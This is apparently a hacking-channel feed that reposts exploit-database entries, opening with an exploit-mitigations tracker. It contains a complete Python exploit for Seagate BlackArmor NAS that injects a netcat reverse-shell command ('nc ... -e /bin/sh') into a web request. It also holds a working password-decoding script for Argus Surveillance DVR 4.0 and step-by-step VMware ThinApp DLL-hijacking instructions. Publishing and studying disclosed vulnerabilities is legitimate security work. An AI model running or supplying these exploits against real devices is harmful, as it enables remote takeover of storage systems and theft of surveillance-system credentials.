Supported targets
We currently support the following operating systems: Microsoft Windows (https://github.com/nccgroup/exploit_mitigations/blob/master/windows_mitigations.md) Linux (https://github.com/nccgroup/exploit_mitigations/blob/master/linux_mitigations.md) Google Android (https://github.com/nccgroup/exploit_mitigations/blob/master/android_mitigations.md) Apple iPhone OS (iOS) (https://github.com/nccgroup/exploit_mitigations/blob/master/iphone_mitigations.md) OpenBSD (https://github.com/nccgroup/exploit_mitigations/blob/master/openbsd_mitigations.md) FreeBSD (https://github.com/nccgroup/exploit_mitigations/blob/master/freebsd_mitigations.md) and the following software: Mozilla Firefox (https://github.com/nccgroup/exploit_mitigations/blob/master/firefox_mitigations.md) Microsoft Edge (https://github.com/nccgroup/exploit_mitigations/blob/master/edge_mitigations.md) Google Chrome (https://github.com/nccgroup/exploit_mitigations/blob/master/chrome_mitigations.md) Microsoft Office (https://github.com/nccgroup/exploit_mitigations/blob/master/office_mitigations.md) and the following libraries: glibc (https://github.com/nccgroup/exploit_mitigations/blob/master/glibc_mitigations.md) and the following hardware: ARM (https://github.com/nccgroup/exploit_mitigations/blob/master/arm_mitigations.md)
Motivations
It has become challenging to follow when certain mitigations are added in an update and/or backported to some older versions of various software and hardware. Sometimes, online content becomes deprecated due to mitigation changes and it can be hard to keep up. Also, it is easy to forget after a short time if you don't work on a specific software/hardware. We have been filling this gap by tracking all the mitigations in summary tables that hold the mitigations names and linking to online references to get technical information about them. The shared information has demonstrated to be useful for several years to exploit developers.
Does my current environment have mitigation X?
This is a common question any exploit developer may have when trying to develop an exploit for a given target. E.g. let's say you want to exploit a Windows kernel driver on Windows 7 x64 containing a kernel NULL pointer dereference bug. Is it exploitable? Checking our table, we read the "NULL page mitigation" was introduced in "Windows 8 32-bit/64-bit and backported to Vista+ 64-bit". Now we know it depends if our target Windows 7 x64 is up-to-date (https://www.kitploit.com/search/label/Up-to-date) or not, more precisely, we can focus on figuring out which KB introduces this mitigation and check our target against that KB!
Final words
We do accept pull requests so feel free to do so :) We do have other targets in our private pipeline (https://www.kitploit.com/search/label/Pipeline) too so reach out if you are interested in another particular one :)

Download Exploit_Mitigations (https://github.com/nccgroup/exploit_mitigations)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Seagate BlackArmor NAS sg2000-2000.1331 Command Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Seagate BlackArmor NAS version sg2000-2000.1331 remote command injection exploit.

MD5 | a1e7f946b3541f69c9c897d1c5a65653

Download
# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
# Date: 15.07.2021
# Discovered by: Jeroen - IT Nerdbox
# Exploit Author: Metin Yunus Kandemir
# Version: sg2000-2000.1331
# Vendor Homepage: https://www.seagate.com/
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/

#!/usr/bin/python3

import requests
import sys

def exec(target, ncIp, ncPort):
print("[!] Please check netcat listener: "+ ncPort)
url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
r = requests.get(url = url)
sys.exit(1)

def main(args):
if len(args) != 4:
print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
sys.exit(1)
exec(target=args[1], ncIp=args[2], ncPort=args[3])
if __name__ == "__main__":
main(args=sys.argv)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aruba Instant (IAP) Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux Kernel Netfilter Heap Out-Of-Bounds Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Argus Surveillance DVR 4.0 Weak Password Encryption

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Argus Surveillance DVR version 4.0 suffers from a weak password encryption vulnerability.

MD5 | 715481e802c71151c41b2dfa7494348c

Download
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411)
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/cracking-argus-surveillance-passwords

# Note: Argus Surveillance DVR 4.0 configuration is present in
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z'}

# ASCII art is important xD
banner = '''
#########################################
# _____ Surveillance DVR 4.0 #
# / _ \_______ ____ __ __ ______ #
# / /_\ \_ __ \/ ___\| | \/ ___/ #
# / | \ | \/ /_/ > | /\___ \ #
# \____|__ /__| \___ /|____//____ > #
# \/ /_____/ \/ #
# Weak Password Encryption #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
print("[!] Error, check your password hash")
exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
split.append(pass_hash[index : index + n])

for key in split:
if key in characters.keys():
print("[+] " + key + ":" + characters[key])
else:
print("[-] " + key + ":Unknown")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ForgeRock Access Manager/OpenAM 14.6.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OX App Suite / OX Guard / OX Documents SSRF / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aruba Instant 8.7.1.0 Arbitrary File Modification

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware ThinApp DLL Hijacking

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
VMware ThinApp suffered from a dll hijacking vulnerability.

MD5 | 1db2c7bddddb880c8aa2c4669670dd84

Download
A few months ago I disclosed IBM(R) Db2(R) Windows client DLL
Hijacking Vulnerability(0day) I found:
https://seclists.org/fulldisclosure/2021/Feb/73

In that post I mentioned the vulnerability did not get fully patched.

After I told IBM on hackerone that I disclosed it, hackerone asked me
to delete the post, IBM apologized and fully patched the
vulnerability.
But this is not the point today. I found a similar problem in
VMware-ThinApp-Enterprise-5.2.9-17340778.exe.

After install the software create C:\DummyTLS and rename a dll you
want to load to dummyTLS.dll and put it to C:\DummyTLS\dummyTLS.dll.

Run "C:\Program Files (x86)\VMware\VMware ThinApp\Setup Capture.exe"
and C:\DummyTLS\dummyTLS.dll will be loaded.
(other exe like log_monitor.exe/snapshot.exe vulnerable too).
This is also because they use code like:
LoadLibraryExW(L"\\DummyTLS\\dummyTLS.dll", 0, 0);

In short, Windows will treat relative path in LoadLibrary(and many
other functions) as the path rooted relative to the current disk
designator.

Let us look into code in ntdll.dll. The logic here is:
KernelBase!LoadLibraryExW->ntdll!LdrpLoadDll->ntdll!LdrpPreprocessDllName.
In LdrpPreprocessDllName after calling
RtlDetermineDosPathNameType_Ustr it will return 4(RtlPathTypeRooted).

And after calling LdrpGetFullPath we get "C:\DummyTLS\dummyTLS.dll"!

You should not call LoadLibrary with the relative path. In fact, using
relative path is dangerous in many cases.
This was fixed in 2021-07-13 as CVE-2021-22000 and the advisory is
here : https://www.vmware.com/security/advisories/VMSA-2021-0015.html.
For these vulnerabilities I will post a summary at https://houjingyi233.com.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Sx : Fast, Modern, Easy-To-Use Network Scanner

sx is the command-line network scanner designed to follow the UNIX philosophy. The goal of this project is to create the fastest network scanner with clean and simple code. Features ⚡ 30x times faster than nmap ARP scan: Scan your local networks to detect live devices ICMP scan: Use advanced ICMP scanning techniques to detect live hosts and […]

The post Sx : Fast, Modern, Easy-To-Use Network Scanner appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Account Take Over with HTTP Pollution Attack at Reset Password Functionality

First of all, this is my first write up about finding or bug when I work as cyber security. and also I try to write this post with English…Continue reading on Medium »
Read more...

Hacking APIs: Types and Architectures

Understanding APIs and their weaknessesContinue reading on Medium »
Read more...